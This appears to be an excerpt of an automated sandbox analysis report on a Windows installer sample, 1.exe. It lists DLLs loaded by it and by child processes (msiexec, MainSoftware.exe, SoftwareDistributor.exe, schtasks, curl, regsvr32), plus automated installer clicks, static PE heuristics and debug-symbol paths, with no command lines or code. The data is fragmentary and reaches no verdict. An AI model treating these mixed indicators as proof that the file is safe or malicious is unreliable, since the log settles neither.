Source: C:\Users\user\Desktop\1.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wshunix.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: icu.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wshunix.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winrnr.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: nlaapi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wshbth.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: pnrpnsp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: napinsp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: schannel.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: mskeyprotect.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ntasn1.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ncrypt.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ncryptsslp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: appresolver.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: slc.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: icu.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: wshunix.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: winrnr.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: nlaapi.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: wshbth.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: pnrpnsp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: napinsp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: schannel.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: mskeyprotect.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: ntasn1.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: ncrypt.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: ncryptsslp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: rasadhlp.dll

Source: C:\Users\user\Desktop\1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Found GUI installer (many successful clicks)

Source: C:\Users\user\Desktop\1.exe	Automated click: Next >
Source: C:\Users\user\Desktop\1.exe	Automated click: I accept the terms in the License Agreement
Source: C:\Users\user\Desktop\1.exe	Automated click: Next >
Source: C:\Users\user\Desktop\1.exe	Automated click: Next >
Source: C:\Users\user\Desktop\1.exe	Automated click: Install

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

PE / OLE file has a valid certificate

Source: 1.exe

Static PE information: certificate valid

PE file has a big code size

Source: 1.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Submission file is bigger than most known malware samples

Source: 1.exe

Static file information: File size 34378808 > 1048576

PE file has a big raw section

Source: 1.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2c9200

PE file imports many functions

Source: 1.exe

Static PE information: More than 200 imports for KERNEL32.dll

PE file contains a mix of data directories often seen in goodware

Source: 1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: 1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: 1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net8.0\System.Threading.Thread.pdb source: MainSoftware.exe, 00000010.00000002.2142756269.0000027538140000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261474850.000002BDD0C91000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Sockets.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143851076.0000027538581000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143804192.0000027538541000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Json\Release\net8.0\System.Text.Json.pdb source: MainSoftware.exe, 00000010.00000002.2143394007.00000275383E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143312727.000002753834C000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdb source: MainSoftware.exe, 00000010.00000002.2143093774.00000275382B1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: Microsoft.Win32.Registry.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143232066.0000027538317000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143295395.0000027538331000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdbSHA256P?> source: MainSoftware.exe, 00000010.00000002.2142461937.0000027537EE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142367623.0000027537EB3000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography\Release\net8.0-windows\System.Security.Cryptography.pdb source: MainSoftware.exe, 00000010.00000002.2142592762.0000027537FB6000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142689155.0000027538081000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Ping\Release\net8.0-windows\System.Net.Ping.pdb source: MainSoftware.exe, 00000010.00000002.2141897499.0000027536210000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdb source: MainSoftware.exe, 00000010.00000002.2142592762.0000027537FB1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Security.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142559459.0000027537F61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142488273.0000027537F19000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Security.Principal.Windows.ni.pdb source: MainSoftware.exe, 00000010.00000002.2151399807.000002753B3D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151185629.000002753B3B1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.NonGeneric\Release\net8.0\System.Collections.NonGeneric.pdb source: MainSoftware.exe, 00000010.00000002.2143077066.00000275382A1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143041301.0000027538291000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ObjectModel.ni.pdb source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352B4000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdbSHA256t source: MainSoftware.exe, 00000010.00000002.2143935572.00000275385E2000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143966375.00000275385F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Http.Json.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143160448.00000275382EA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143209931.0000027538301000.00000020.00000001.00040000.0000000A.sdmp
